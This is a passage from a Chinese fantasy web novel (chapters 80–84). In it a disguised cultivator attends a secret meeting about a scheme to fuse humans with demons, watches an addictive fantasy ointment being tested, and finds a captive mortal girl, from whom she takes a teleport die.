“睡了？”
抚着一身样式精致的戏服的女人，发出一声惊诧。
清风回道：“回公主，东姑娘已经睡下了。”
林纾衣发出一声轻呵，道：“我那件戏服还
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有多久才能送来。”
清风道：“白掌柜说，还要三个月，如今还缺些要紧的材料。”
林纾衣道：“缺什么材料便替她寻来，一定要赶在我拿到江山社稷图前做好。”
她随意一瞥，便落在了窗外的黑幕。
一旁的明月感慨道：“今夜的星星可真多呀，看来明天会是个晴天。”
林纾衣却道：“幽云城很少会有晴天。”
她那双迷人的狐狸眼里，映着漫天繁星璀璨夺目。
繁星簇拥着的是一轮作圆盘的盈月，时而有云雾遮掩，挡去一片光芒，而幽云城内灯多如昼，行走在其中，如白日一般毫无遮掩。
女子停驻在城门前，抬头看了眼上方笔走龙蛇的三个大字。
“这里是幽云城。”
确认来的地方没错，她裹紧宽大得能够将她全身覆盖的罩袍，继续朝里走去，幽云城是唯一一个不设宵禁的地方，哪怕是晚上，外人依然进出自由。
幽云城的早晚都是忙碌的，这里不分昼夜，有人戏称幽云城原本是该叫不夜天来着，只不过被另一个大宗门抢了去，被迫改名叫幽云城。
身着罩袍的女人孤身行走在其中，周围的人仿若遇见了洪水猛兽似的纷纷避让开来，要问他们为何要跑，个中缘由他们也说不上来，只是下意识想要逃跑远离那个女人，好似那个女人是瘟疫是灾害。
不过意识到他们的害怕后，大多觉得晦气地呸了一口，强打精神也回来，心道一个连脸都看不见的人有什么好怕的。
女人熟视无睹，随便走进了一家客栈。
她的到来又引来一番喧哗，客栈内无论是在吃饭的，在打杂的，在路上的，都停了下来，朝她的方向看去。
而她只是要了一间房，问了一句话。
“怡红院在哪？”
被她发问的小二在幽云城待得久了，什么大场面没见过，只是这客人怪得很，贴着她就让人生起想跑想远离厌恶的情绪，她多年来建设的个人素养几乎能毁于一旦。
小二恶声恶气地道：“你不长眼吗，跑去怡红院干嘛，就你这小身板怕是进去了命都玩掉。”
店里尽是哄堂大笑，没有一个人觉得有什么不对，对着这名罩袍女子充满恶意。
却也有人指了一条路，罩袍女子恍若未闻，转而向楼上走去。
众人窃窃私语起来。
“她是谁啊？看起来很怪。”
“不知道，没见过，幽云城不缺怪人。”
“可没有这么怪的呀。”
“依我猜，上一个有这种感觉是还是是那得了孤煞咒的祸害，怪哉，除了她外居然还有人这样。”
“你说的那个祸害早就被清微仙尊关押在碧连山十年了，没有清微仙尊的允许，她根本出不了山。”
“所以说我只是个猜测啊。”
身后的窃窃私语声随着女子合门的动作完全隔绝在门外。
宽大的罩袍下只能窥见那张薄唇轻启。
“呵，十年过去还是如此不待见我呢。”
81.第 81 章
一辆装潢精致的马车骨碌碌地行走着，宽敞的车厢可以供两人舒展躺下。
马车上贴着几张无法用肉眼看见的符咒，隔绝了里面与外边的声音，里面能听见外面的吵闹声，但是外面却听不见里面的声音。
坐在马车内的尤长离为东闲讲解着，先前他们都是以听音螺沟通，很多事情不方便交流。
“星宿传承的贩卖离不开焕新香的供应，所以这二者相辅相成，只要有星宿传承的需求就一定会有焕新香的供应，这类专门贩卖星宿传承和焕新香的人自认为是给别人新生，于是自称往生者，我们一般简称他们的力量为往生，其中主要人物皆以圣者自称。
“在怡红院的圣者是岑为霜，这次的盛宴便是由她举行。你的身份特殊，我会告诉他们你是我的侍卫，故而在临走前特意让你换了一身衣服。”
对面明显是一身侍卫装扮的女子闻言挑了下眉。
她装作对妖人计划不清楚的模样，发出一声疑惑：“我的身份特殊？焕新香的重要获取来源不是在魔尊的应允下吗，没有蚀魂水这一原料作支撑，他们的产业又如何扩容到今日这般地步。”
尤长离解释道：“是的，我不能告诉他们你是魔尊亲保的人，玲珑阁虽然与往生有合作来往，但我们只负责星宿传承的拍卖，为的是让更多人受到焕新膏的影响。
“焕新香的供应的确为他们带来极大的利益，但是焕新香摄入过度最终会导致入魔，而这世间唯有魔尊能够掌控魔，他们费尽心思弄出来的焕新香倒是给别人做了嫁衣，自是不满的。
“而且星宿传承的剥夺必须由魔出手，他们看不起魔却需要魔的出力，但是妖人计划不需要魔出力，这是一个完全排除魔的计划，作为魔尊的麾下，我不能容忍这件事的发生。”
东闲心中已经明白这些，故而昨日魔尊才会动怒。
她道：“那么妖人计划就不能正常运行，若是成功，他们就不会再需要蚀魂水，魔尊的力量也不会再壮大。”
尤长离道：“没错，妖人计划必须阻断，这次怡红院会来许多人，其中更有可能掺杂百仙盟的人。”
东闲道：“他们不筛选来的人吗？”
尤长离道：“他们试图要让百仙盟认可他们的妖人计划，而且在幽云城，百仙盟深受限制，就算看见了也做不了什么，岑为霜虽然是个疯狂的女人，但她同样是聪明的女人，一个聪明的人是不会给敌人机会。”
东闲心下记住“疯狂”这二字，她对岑为霜的所知皆是由林纾衣和尤长离的言语拼凑出来的，疯狂二字更加丰富了岑为霜在东闲心中的形象。
东闲状似无意地问：“魔尊被困在鬼煞冢的封印之中，无法与外界沟通联系，没有我，你将要怎么做？”
尤长离道：“魔尊大人虽然被困在鬼煞冢无法与我们联系，但它的力量并未就此沉寂，你应当知道无妄之地的动乱，它们背后另有组织的魔在，都是忠心于魔尊的大将。”
所以怀玉和常怀清的叛逃，是另有魔鼓动，东闲能糊弄得了尤长离可不代表能糊弄得了那群魔，它们将是隐患。
东闲压下心思，道：“魔尊大人若是知道你们如此为它的大业着想，想来会很欣慰。”
尤长离道：“定不负魔尊大人期望。”
这次对话给了东闲不少信息，她尤对往生这股力量有了更进一步的了解。玲珑阁并不归属于往生一类，能受邀请是因为合作利益的往来。
这也说明玲珑阁跟怡红院的关联并不大，她并不能得到有效的身份接触邹湘，也许她能见到邹湘的时候，已经是妖人计划开始的时候。
忽地，马车来了个急刹车，车厢内的二人皆受到惯性险些栽倒。
尤长离面色不虞，破开符咒带来的隔音效果，喊道：“前面怎么了？”
外面的车夫回道是有不长眼的差点撞了上来。
而东闲在此时撩起车帘一角，朝外看去，只瞧得见旁边经过的罩袍人的一角。
她没看到其他奇怪的人或事，却感觉到一双具有穿透力的目光落在她身上，即便在马车上贴了拒绝窥探窃听的符咒，那种感觉仍然挥之不去。
东闲不信邪想要去捕捉，那道目光又消失了。
这种不受掌控的感觉总是让她烦闷的，却又无可奈何。
东闲再度生起对力量的渴望，两个月的时间升到淬灵境后期，对于修士来言的确速度逆天，可于东闲而言，远远不够。
她身后的仇家个个都能碾死她，就盼着她死呢。
马车一路驶向怡红院方才停止，等到外面的仆人放下供人踩踏的软榻，尤长离示意东闲先出去时，听见她以心音传话。
“有件事我还没跟你说，我并不是慕婉思，真正的慕婉思已经死了。”
尤长离看着眼前这张完全看不出错处的面容，竟一时控制不住自己的面部表情变化。
对方的面容真实到尤长离觉得东闲是在跟他开玩笑，但显然现在不是开玩笑的时候，东闲也不是爱与他开玩笑的人。
就在尤长离发愣的这段时间，东闲拿起搁置在一旁的面具，迤迤然走下马车。
回神跟在她身后下来的尤长离，明显发觉东闲在弯腰下去的那刻，身量变得挺拔而高大，站在平面上挺立的那刻，竟是发现她的身量原来比他的还要高些。
东闲伸手，做足了一个合格的侍从该做的事，她做得自然，倒把尤长离愣了下才搭在她的手上，下马车。
尤长离向接待的下人展示了一张黑底烫金请帖，身后的东闲还没看清，接过请帖的下人已经检查了请帖的真伪，并掐诀烧毁了它。
有关妖人的试验还没开始，抵达的客人也没有到齐，他们被下人领到二楼的隔间。
在东闲要跟着进去时，下人阻拦了她。
“您不能进去。”
尤长离注意到身后的动静，立即回道：“她可以进来。”
下人不再做阻拦。
东闲心下记住这点，怡红院对来往的合作伙伴记忆深刻，不可随意糊弄，要想进来若非正常的寻欢作乐，还是得有人接应才行。
里面是正常的厢房，壁上挂着一道无图卷轴，正对着案边，尤长离入
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座，东闲便站在他身旁。
整个屋子仅东闲和尤长离二人，东闲却明白，参与这场会谈的不仅仅他们二人，皆是与怡红院有合作来往的商人。
岑为霜很好地处理隐私方面的问题，使得这群商人连互相的存在都不知道，这也是为了减少被百仙盟发现的可能。
卷轴上的空白终于有了色彩填补，一个女人的模样缓缓勾勒而出，她的左眼被厚重的刘海遮挡，只露出右眼。
怡红院的往生者，岑为霜。
“感谢诸位不远万里来赴怡红院盛宴，这一次的目的想必诸位了然于心，我们要创造一个真正的为我们把控的生命。
“诸位都是往生的朋友，有些话我不必赘述，怡红院诚邀大家是希望能够进行新的一笔合作，而这笔合作内容便是诞生妖人。”
东闲注意到她说的是“怡红院诚邀大家”而非“往生”，难道这不是往生内部统一的决定吗。
“圣者，妖人的推出会带来什么样的利益，你知道我们更在意的是利益。”
应当是其他房间的客人在说话，看不见其人，东闲竟也能听到他在说话。
她猜测是那卷轴的作用，对卷轴多了几分兴趣。
岑为霜：“妖人会比替换星宿传承的人拥有更好的天赋，我们利用的是妖兽天生就能吸附灵气修炼的特点，变为妖人后他们将以灵气为食，而且妖人无需剥夺星宿传承便能修炼，又免去了排异之苦。”
又有声音响起：“那么我们从中的作用呢，你提出的妖人，似乎并没有给我们带来实质利益，当初剥夺星宿传承，我们从你这得到焕新膏进行贩卖，可是你的妖人似乎并不需要我们了。”
岑为霜道：“若是如此，我便不会让你们来，妖人的缺陷是形象的妖化，在选择与妖融合后，他们的身体会出现明显的妖化，甚至性情喜好也会趋向于妖人。
“为此他们同样需要一定的产品来克制他们的妖性。”
此话一出，在场的人都神色模辩起来。
有声音反驳道：“你就算成功了又如何，妖人或许真的比剥夺星宿传承好，可你的想法太过理想，你是不把那群御兽师放在眼里了。”
岑为霜两手交握放于身前，面上依旧是淡然如水之色，对于他们发出的所有反对与质疑，她皆有应答之策。
“这世间低星宿传承之人才占主流，妖化是在取得妖兽和修士的同意，双方可以互补互成。
“妖人不但利于修士还利于妖兽，我们日后合作的对象会更加广泛，于妖兽而言，它们向往的是化形，妖兽不可飞升，自古以来能够飞升的都是人，它们向往化形，也向往飞升。”
她在胡说八道，在场的商人皆被她凉薄的话语给弄得心惊肉跳。
眼前的女人在他们眼里也不是人，而是一座由铁石打造心肠的寒冰人像，说出的每个字都散发着寒气。
这群都是与怡红院有合作往来的商人，他们会更在意自己能够获取到的利益，他们以为自己足够冷漠无情，这是商人天生的性子，显然现在坐着一位比他们还要可怖没心的存在。
82.第 82 章
“让人和妖共争一个身体？”出声的是尤长离，他其实还没太懂妖人到底是什么样的一种存在，人和妖怎么愿意屈身于一具身体，就算是为了飞升，也不至于委屈自己缩在一具身体中吧。
岑为霜道：“这具身体的主人只有一个，那就是魂识交融过的你们。”
一群人费力而又胆颤惊心地理解了岑为霜的意思，妖人是指人与妖意识共存的存在，更确切地来讲，妖人是人妖意识融合的存在，她这是在创造一个新生物！
“这太疯狂了。”有人喃喃道。
岑为霜交握的双手成平铺交叉状，下颔抵在上面，这是一个开始放松的动作，她的面上也带起笑意。
“焕新膏会让人堕落成魔，可还是有大批的受众，那么妖人为何不能为人接受？人和妖是有壁的，妖兽的思想比人落后太多，它们想成为人还需要很久的时间，所以妖人更适用于人，比起焕新膏带来的代价，妖人是对于普通修士最适合风险最低的方式。”
所有人都忍不住倒吸一口寒气。
东闲凝眸看向这名思想疯狂的女子。
岑为霜没有戴面具的，以至于所有人都能看见她的面容，然而那张面容平静得可怕，勾勒出的笑容像是用尺刻画出来看不出一点情绪，让人难以想象这张脸下有着一颗多么疯狂的心。
能有这种念头，根本不可能出自让人或妖达成他们心愿的想法吧。
这场交谈并没有花费多少时间，岑为霜继续回应了几句问题，会谈便走到了尾声，岑为霜询问各位有没有兴趣投资她的妖人计划，一群被她吓得心脏都震出来的商人眼睛骨碌碌地转动着，皆表示等看她的妖人成功与否再做决定。
岑为霜表示期待他们的答案，遂结束会谈，身影在卷轴上消失。
怡红院是岑为霜的据点，不过今日为了向大家演示妖人计划，暂时停止营业，于是怡红院罕见地没有传来欢声笑语。
结束会谈后，东闲道：“我很好奇焕新膏的制作过程，这种东西我还没见过。”
尤长离问：“你想看焕新膏的制作过程？”
东闲反问：“难不成你会制作？”
尤长离当然是不会制作焕新膏的，他就是个中介商家，负责在怡红院进货然后售卖，帮忙推广焕新膏，扩大焕新膏的受众，参加这次会谈的商人都起着这样一个作用。
“您说笑了，是岑为霜对外开放了焕新膏的制作过程，不过我们可能看不到最新版本的，也许是初代的也说不定。”
东闲“哦”了一声，好奇问道：“她难道就不怕别人把她焕新膏的秘方给学了，进而研发出可以克制的存在？”
尤长离：“没有人会研制焕新膏，有人怀疑过她给出的秘方是假的，事实上哪怕是她用她放出来的秘方在众目睽睽下制作，结果仍然是成功的，焕新膏的成功制作只有她能完美做到，没有她，就不会有焕新膏，可以说焕新膏完全可以冠以她名。
“何况这么多年过去了，百仙盟也收取部分焕新膏，试图进行拆解并制作针对性的克制它的解药，得出来的应对方法是除非禁止星宿传承的剥夺，或者……”
第二种方法，尤长离有意停顿不再说下去，而东闲能读懂他的未尽之语。
杀掉能够制造焕新膏的人。
一种从根源上解决弊端的方法。
东闲忽然明白岑为霜的倚仗，一个制作焕新膏的主要成员，甚至是可以说唯一一个能够制造焕新膏的存在，往生内部就算再恨这人，也不得不因为对方的不可替代性而留情甚至妥协，所以这次纵算岑为霜没经过内部统一的决定，而放出妖人消息，她也不会太出事，而魔尊也不会动她。
因为东闲的好奇，尤长离向岑为霜请求参观焕新膏的制作过程，岑为霜得知此事表现得十分高兴，东闲在她的面上看见了纯粹的兴色，她说得矜持但难掩眉宇间的骄傲之色，就像一个很简单的爱炫耀的女孩。
“既然二位感兴趣焕新膏的研制过程，阿棠，由你带二位去参观。”
她说的是二位，而在场除了她和她的人外就只剩东闲和尤长离，这二位囊括哪些人不言而喻。
被她特意指出的东闲抬眼对上她的视线。
她那边的雕窗应当没关，外面送来轻风阵阵，撩开了她厚重的刘海，东闲隐隐约约能看见那半截浓密的刘海下一只没有任何光彩的乌黑全瞳，像是在凝望深渊，下一刻会被吞进去。
岑为霜向她微笑。
东闲面具下的唇角也随之勾起，回之一笑。
名唤阿棠的侍从敲响他的房门，领着他们离开了怡红院，制作焕新膏的地点并不在怡红院内，而是在另一个地方。
在转角处欲要下楼时，东闲听到长廊深处传来动静，三个人一并回首，其中的阿棠眼色微变，东闲没有错过她眼底一闪而过的异色。
阿棠道：“请二位稍等。”
尤长离颔首，表示可以理解。
东闲则盯着阿棠离去的身影，看见她进入房间，不到一会功夫就出来了，然后继续为他们领路。
其中发生了什么，东闲没能看出来，阿棠也没有想要向他们二人解释的想法。
踏上传送阵，他们便被传到另一个地方去。
这是一处院落，像是由一座大宅子改造的据点，有阿棠看着，东闲并不能知道外面的情况如何。
两人随同阿棠的步伐，来到一间客房前。
隔扇半掩，依稀能窥见一人在走动忙活。
阿棠叩门几声，唤道：“金小姐，现在可否方便参观？”
里面传来一道还算客气的声音：“请进。”
阿棠推门站在一侧，告诉他们进去后什么也不要问什么也不要碰，不要靠近金小姐，在一旁看着就好，而后做了个“请”的动作，让二人先进。
东闲依旧跟着尤长离身后走，房间里面摆着各类瓶瓶罐罐的东西，有许多碟碗瓶罐堆着不同的东西，还有一些看不懂的器具。
进来后，东闲才知道这是个精神有点疯癫的女人，她方才的那句进来几乎是她说出的最正常的话。
她看着这个疯癫女人捣鼓着这些器具——把从炉鼎中熬出来
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的香油一一倒进模具类，摆放在一旁让它自然凝固成型，又跑去一堆瓶瓶罐罐前，嘴中呢喃着配比，把它们混在一处。
“香兰，我先前做的那批好了没，快拿来给我看看。”
香兰是屋中另一个女子，回了声“好了”，而后把一盒制作完成的焕新膏交到疯癫女人手上。
疯癫女人神情凝重地抹了一点膏体，放于鼻尖轻嗅，于是她的面上多了份欣喜，她又把指尖的那点涂在眉心，不出三息的功夫，她的神情倏然变化，将那膏砸在地上愤声大叫。
“不，还是不对，为何我总是不能研制出真正的焕新膏，明明我全按照师尊所要求的配比来了，除了师尊只有我才能制作焕新膏，只有我啊。”
她越说越激动，越想越不明白，情绪波动太大，随着一声“只有我啊”，她一拳砸在案上，瞬间砸得案几四崩五裂，案上的东西也不能幸免，乒乒乓乓碎了一地，乱作一团。
而她捂住心口，痛苦之色溢于言表，香兰搀扶着她，抬头看了一眼沉默在旁的两个外人。
阿棠及时出现，向他们道：“抱歉，请您二位离开。”
尤长离略作颔首，东闲跟着他的步伐出去，又在半途时回首，看见了女人手持香兰拿来的新的焕新膏，抹了一点涂在眉心。
焕新膏的香气弥散开来，充斥着整个屋子，溢散出来的香气落入东闲的鼻尖，她情不自禁地慢下离开的动作。
“如此令人痴迷……”
疯癫女人未尽的言语被阿棠关门合住，香气飘散得淡了，关门的声响也唤回了东闲的理智。
东闲收住整个心神，见识过焕新膏威力的她，第一次对焕新膏产生一种忌惮的情绪。
这焕新膏竟能诱得没有替换星宿传承之人也会产生渴望。
阿棠先让他们在外面等着，传信鹤给另一个人，她忘记掩藏的动作让东闲意识到，这处宅子离怡红院不远，因为信鹤能够传递的距离有限。
这期间东闲听到声声嘶吼，还有人拍打门窗想跑出来的声音。
“放我出去，岑为霜你这个疯子，我绝对不会放过你的！”
东闲不免生起窥探的心思，偏偏阿棠回来得凑巧，叫人窥探不得，心里被勾得痒痒的。
阿棠见他们神色都很困惑，便道：“二位不用担心，那是星宿传承换取不够满意的客人，他付了钱却不肯认账，怡红院可没这个理。”
嘶吼声也断了，断得很生硬，赫然是用了某种快捷而简便的方式打断的。
阿棠把他们送了回去，让他们自便，等她离开后，尤长离如此道：“刚刚你看到的不是他们正经的炼制过程，而是一个人的试验过程。
“金小姐是岑为霜的徒弟金竹，据说能继承岑为霜的衣钵，我猜岑为霜肯定没有用全力教她，不然也不会被逼成那样。”
想到金竹近乎疯魔地去试验焕新膏，东闲也觉得金竹应当是没有学会岑为霜的真传。看来这焕新膏的研制非常艰难，目前只有岑为霜能够制作成功。
东闲问道：“金竹也替换了星宿传承吗？”
83.第 83 章
尤长离知道她是针对方才金竹使用焕新膏的现象而说。
“是的，而且她是第一个试验焕新膏的人，最初的焕新膏并不稳定，她甘愿作为试验品，试验焕新膏的药性，因为整日都在想弄出焕新膏来证明自己，而深受其困扰，性子有些疯癫，不过我私认为她的情绪是因为最初不稳定的焕新膏引起的。
“方才你见到的焕新膏是最新研制出来的，过去的焕新膏对没有替换星宿传承的人本不该拥有这么强的吸引力。”
的确是很强的诱惑力，就连她也生出几分想要试用的渴望。
东闲记得焕新膏的毒性最重要的一点是，哪怕从来没有替换过星宿传承的人，在用了焕新膏后也会上瘾。
让这种焕新膏流露出去，百仙盟想必会更加抓狂吧。
东闲问道：“方才那些东西你都认得吗？”
尤长离道：“我在焕新膏上没有研究，不过我的确认得一些材料，似舌头的名为红舌草，似琉璃般剔透的名为斑斓果。”
东闲道：“我也很好奇星宿传承怎么剥夺？”
听到这的尤长离默了默，心道我总不能找个魔修剥夺星宿传承给你看吧，这地方也不归我管。
他道：“我曾见过魔修剥夺星宿传承，不太好形容，不过剥夺星宿传承是很快的，这种事转瞬就能完成。”
东闲问道：“剥夺星宿传承会有什么明显的特征吗？”
尤长离想了想，道：“胸口会留下一道伤疤。”
东闲惊讶了，“星宿传承是藏在胸口里的？”
尤长离道：“星宿传承与内丹一样都藏于胸口之中，不过星宿传承它更像是一缕气，而这缕气只有魔才能完整掏出，若是让他人掏的话，会误把这缕气吸收到体内，魔却是不靠星宿传承修炼，在堕魔的那刻，他们的星宿传承也会随之消失。”
一个人拥有超过一种星宿传承，会因为承担的力量太多，而导致修行道路困难重重，这就是为何尤长离得知东闲身上疑似存在两种星宿传承而感到讶异了。
东闲道：“你觉得什么样的人会身负两种星宿传承？”
尤长离猜不到，摇了摇头，这会的他已经不怀疑东闲身负两个星宿传承了，因为东闲不是慕婉思，她能糊弄玄清宗想必是用了别的法子。
东闲也想不到有什么样的理由可以解释一个人能身负两种星宿传承，为何林纾衣不怀疑她有两种星宿传承呢。
就算她跟尤长离都认为自己是有别的法子混了过去，才不被发现并未身负星日马星宿传承，可她就不怀疑一个什么都没有的凡人为何有了随意变化他人面目且学会百道秘法绝学的能力吗。
这种事怎么听起来都非常奇怪吧，但是林纾衣完全没有需要解惑的想法。
难道她自己有暴露过什么吗，这种未知的隐患最让东闲烦躁了。
东闲目光落在某处，突然道：“我饿了。”
尤长离：“？”
东闲顶着他那双狐疑的目光，从容地继续道：“出来得太早还没来得及用饭，如若你有饱腹丹的话。”
尤长离道：“没有。”
东闲捂着肚子，道：“那我是真的需要用饭。”
尤长离想说为她找下人上菜，转念又想到东闲现在的身份就是他的下人，所以便允了东闲出去。
***
邹湘看着一桌美味佳肴犹如在看自己的断头饭，吃完这顿酒该上路了。
是啊，明明用饭的时候还不到，而她今夜就要进行妖人试验，这顿饭与断头饭有何差异。
她脸色奇差，将筷子丢置一旁，远离了案边，后背抵在柜台，慢慢矮了下去，后悔自己的冲动行径。
她是今晚妖人试验的主角，她将在所有人面前进行妖人试验，让所有人见证妖人的诞生，这是怡红院的条件，这样便能予她灵体修炼。
她原以为成为妖人就能获得灵体开始修行，甚至不用担心星宿传承的高低，也能修出一条成仙大道。
其实成不成仙对邹湘来说并不重要，重要的是她可以变得更加强大，她日后能够保护阿姐。
这一日，细思极想才知道变成妖人是多么恐怖，单不论世人对她的认可，她与一只妖融合，那她还是个人吗。
她被自己的想法惊得吓出一身冷汗。
她很后悔，她当初不该答应参与妖人计划，如若没有答应，现在的她不可能会被困在怡红院没有办法离开。
她被诱哄得鬼迷心窍，以为成为妖人就能跟阿姐他们一样能够修行，日后不会再成为阿姐的拖油瓶。
她为何这般没用，眼睁睁看着阿姐受人桎梏，却无能为力。
如若她不是没有灵体的凡人，她就不会来怡红院，她就能够帮上阿姐的忙。
邹湘努力憋着眼眶内的泪水，大错酿成，哭得再多也没有意义。
这里的主人没有派人看守她，兴许她还有机会逃出去吧。
她复而低首看着手中的东西，她方才弄出的动静便是因它而起，因此招来的动静惹来了外面的阿棠，这说明她也并非能够顺利逃脱，怡红院对她看管不够但也绝不是她能随意离开的意思。
这个二十面骰子会有什么用呢？
邹湘是一个凡人，虽然阿姐是个天生灵体的修士，但是阿姐平日并不让她接触这类东西，她同一切凡人一样对着修仙抱着敬仰而憧憬的态度，修仙于她而言还很神秘，所以怡红院三言两语就把她骗进来了。
她琢磨着这二十面骰，通常见到的都是六面骰，而手中这个是二十面瞧着还挺不一般，每一面在窗外阳光的照耀下泛着迷人的光彩。
这是她借口出去捡到的别人掉落的法器，她见此物不凡联想到阿姐说过的法器，以为能带自己出去，便偷偷拿起来带回屋中。
因为不会使用见到骰子发出的光芒，感受到其中的吸力，不小心叫出了声，情急之下，拿东西砸了过去，才叫那骰子停止运转，结果把阿棠惊到了。
邹湘胡诌了个“不小心弄倒了一旁的架子”的理由，才把阿棠搪塞走。
她有意识地留下了这个二十面骰，不让任何人知道，反应过来她也不知道自己为什么这样做。
她敛去心思收起二十面骰，来到门前，决心离开这个地方，小心翼翼地推开门，长廊一片寂静，似乎她的逃脱之路有望。
邹湘一颗心七上八下的，慢吞吞来到转角处，转角处也没人，她心下一喜，踩着台阶快步向下，身后冷不丁传来声音，惊得她脚下踩空摔了下去。
好在只差两层台阶就到了平台，她这一摔，只擦破了手心皮，把脚给崴了。
“陈姑娘，你出来是要找我么？”
邹湘两双眼都惊得睁大了，
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瞳孔微缩，满是不可思议。
她怎么会从后面出现，明明自己刚刚没有看到任何一个人在！
邹湘脸色煞白，既是被吓的，也是痛的。
阿棠低眼瞧着她，似叹道：“邹姑娘，你有些不小心了。”
邹湘嘴唇哆嗦，想要开口解释，半天只支支吾吾发出了个“我……我……”。
阿棠正要下去准备去扶邹湘，把人给带回屋里去，怎料转角的扶梯探出一个脑袋，不，是一张可怖的鬼面具。
鬼面下的声音带着点雀跃之意。
“好巧啊，阿棠姑娘，我们方才是见过的。”
阿棠微笑：“我不会忘记姑娘的。”
一只信鹤绕过东闲身侧，落到阿棠手中，阿棠看着上面留下的一行字样，面不露丝毫异样。
东闲看在眼里，知道是她有事要忙了，主动道：“看来阿棠姑娘是有要事处理，这位姑娘要回去的吧，我来替阿棠姑娘送她回去。”
说着，她已经矮下身作势要去扶邹湘。
邹湘看着眼前那张逐渐放大鬼面具，脸色更白了。
阿棠深深地看了她一眼，道：“姑娘真是好心，难道姑娘没有自己要做的事吗？”
东闲仿若没听她的言外之意，道：“我是有事，我家主人饿了，待会还得麻烦阿棠姑娘备上饭菜。”
阿棠道：“那便有劳姑娘了。”
经过她身侧时，阿棠道：“姑娘只需把她送进屋便好，我会另安排人处理邹姑娘的伤势。”
面具下的脸在笑，这是不信任她呢。
但是不信任也准许她把人送回房。
比起这些，东闲更对阿棠透露的讯息——“邹姑娘”感兴趣。
她瞧着眼前这张惊惧的面孔，确实与画像上的人长得很像，看来是林纾衣要她找的人无疑了。
“邹姑娘，我送你回去。”
邹湘被她扶着，一路无言，情绪低落，她知道自己恐怕是真的离不开怡红院了。
她手中攥着的二十面传送骰折射出来的光，晃了东闲一眼，东闲眯眼看去，这一眼不由得笑了。
邹湘注意到，对方直勾勾地看着她手中的东西，不知是不是她的错觉，她的眼底浮现一抹亮色，而后揭下了鬼面具，露出一张雌雄莫辨的脸，这张脸上带着惑人的笑容，如一缕清风吹散了她所有的慌乱无措与惧怕。
她听见女人道：“这是很危险的东西，交给我好不好。”
邹湘：？？？
你确定不是起了贼心？
阿姐说过，不要轻易相信陌生人的好意，尤其是长得好看的，这类人擅长利用他们的相貌优势，眼前的女人显然就懂得利用自己的相貌优势，有意摘下鬼面具，露出一张好看的面庞，极大的反差的确是让邹湘愣住片刻。
回想起阿姐的话，邹湘立刻收神，打起十二分的精神，警惕地道：“你是谁，我凭什么要把东西给你？”
东闲仿若没有觉察到她的抵触，转身便掩上门，还不待她反应，女人毫无征兆地把她拦腰横抱起。
邹湘在她怀中挣扎，问她想要干什么，结果东闲只是把她安置在榻上，开始给她脱鞋褪袜。
邹湘：？
东闲都没抬头看她，继续褪着邹湘的鞋袜。
“你叫邹湘是吧，是你的阿姐要我来找你的。”
84.第 84 章
邹湘喜形于色，想要再问问阿姐的事。
“那我阿姐在哪……”
“咔咔”一声打断邹湘的话，她感觉到脚踝处痛得要命，下意识想惊呼，被东闲的手指虚抵在她的唇前。
这是个非常危险的距离！
邹湘猛地推开了她，想要起身逃离她身边，却发现自己的脚不崴了，走起路来畅顺得很，这时才知晓原来对方刚刚是在替她正骨的。
她对自己恶意的猜测感到内疚，也许对方真是她阿姐派来寻她的，毕竟两个人都待了这么久，对方早有机会对自己下手，而对方也仅仅做了帮她正骨的一件事。
邹湘抿唇，过了片刻才对着手中的二十面骰问道：“这个东西很危险吗？”
东闲盯着她手中的二十面骰，语气听不出一点虚假。
“留在你身上会很危险。”
如若邹湘一直在抬头看她，便能瞧出东闲眼底是不符话语内容的势在必得。
邹湘过了会才抬头看她，彼时东闲已经很好地藏住了她的情绪，邹湘狐疑道：“难道你就能承担危险？”
东闲开始说起她那个不存在的朋友，恰到好处地露出几分无奈。
“我的朋友也这么说。”
邹湘愣了下，问道：“你的朋友？”
东闲很正经地点头，也很正经地道：“他们也觉得我做事太过鲁莽，总是想着不顾后果地去承担各种危险，但是我没办法听进他们的劝告。”
邹湘觉得自己的良心遭到谴责。
东闲挂上安抚性的笑容，“别担心，我还是有把握带我们两人一起离开，比起这些，我更需要的是你的信任。”
邹湘神色复杂，不禁再次问道：“你真的要承担这个危险吗？”
邹湘面上黏了一层汗意，杂乱的碎发都沾在脸上，东闲抬手帮她整理碎发，无奈地扯了扯嘴角，叹息似的道：“现在只有我能承担这个危险，不是吗。”
邹湘觉得她的良心有受到暴击。
她嘴唇蠕动，慢吞吞地说了个“对不起”，把手中的二十面骰交给东闲。
东闲笑了笑，这回是出自真心，成功拿到邹湘手中之物，觉得心情分外愉悦。
早在赤焰龙脉上官莲蓉使出二十面传送骰的时候，东闲就对它垂涎了，于如今境界低下的东闲而言，多几个防身宝贝才是重要的，有了它，会方便东闲做一些事。
这二十面传送骰不是认主的法宝，所以落到东闲手中也能用。
她收起二十面传送骰，瞧了一眼满脸都是悔恨之色的小姑娘，心想难怪就这么轻易被怡红院给拐了，这位生活在尔虞我诈的权谋之中的女人居然会有个这般单纯的妹妹，看来对方是真的极其在乎这个妹妹。
“接下来只需听我的，我会带你离开这里。”
邹湘重重地点头，“嗯！”
她又问了邹湘一些话，未能得到多少有用信息后，便让邹湘继续留在房间，向她承诺会在合适的时机带她离开。
邹湘的确是妖人试验的主角，但是这种看管程度是不是太儿戏了些，怡红院就不担心有人对邹湘下手吗，妖人试验的主角出了问题那么妖人试验第一次亮相就失去了权威性，谁还愿意跟她合作？
可惜她是要担心的，所以她给邹湘留了听音螺，让她有事随时联系自己。
尤长离见她回来，试探地问：“你去很久，路上出事了？”
到底是耽搁一点时日，毕竟她是去传唤上饭的，这本就不是太耗时间的事，容易让人察觉。
东闲：“这倒没有，我碰见了今晚妖人的主角。”
她并没有隐瞒自己对行踪，在别人的地盘上做了什么事，人家可都看着清清楚楚，不去管是因为没必要，而且对于尤长离她不需要太过隐瞒反而引得他生疑，毕竟尤长离站在魔尊那一方。
尤长离道：“是我们先前看到的那间吗？”
东闲颔首，抬筷真就挑菜吃了，好似她是真的感到饿。
不过她只掀开一点面具，露出下颔到嘴部的位置，偶尔会露出高挺的鼻山，尤长离并不能看出她生得是何模样，心中虽有好奇但不敢冒犯。
尤长离：“他们既如此容易让我们见到，恐怕此人是个为了掩人耳目的赝品。”
东闲应道：“岑为霜对这个凡人并不上心，我想这个凡人可能是转移所有人注意力的幌子，真正试验成功的妖人已经被她藏起来。”
阿棠的态度已经摆明了，他们虽然表面要保护看守邹湘不出危险，实则只是装个样子，他们并不担心会因邹湘出了危险而不能导致妖人试验顺利进行。
尤长离：“无妨，妖人试验可不止我们希望它的失败，别人也不会让它成功施展的，如若他们出手，我们就做搅水的棍，让这趟水越浑越好。”
怡红院隔音效果也做得极好，房间内的人便不知楼下有两个想浑水摸鱼的人被轰了出去。
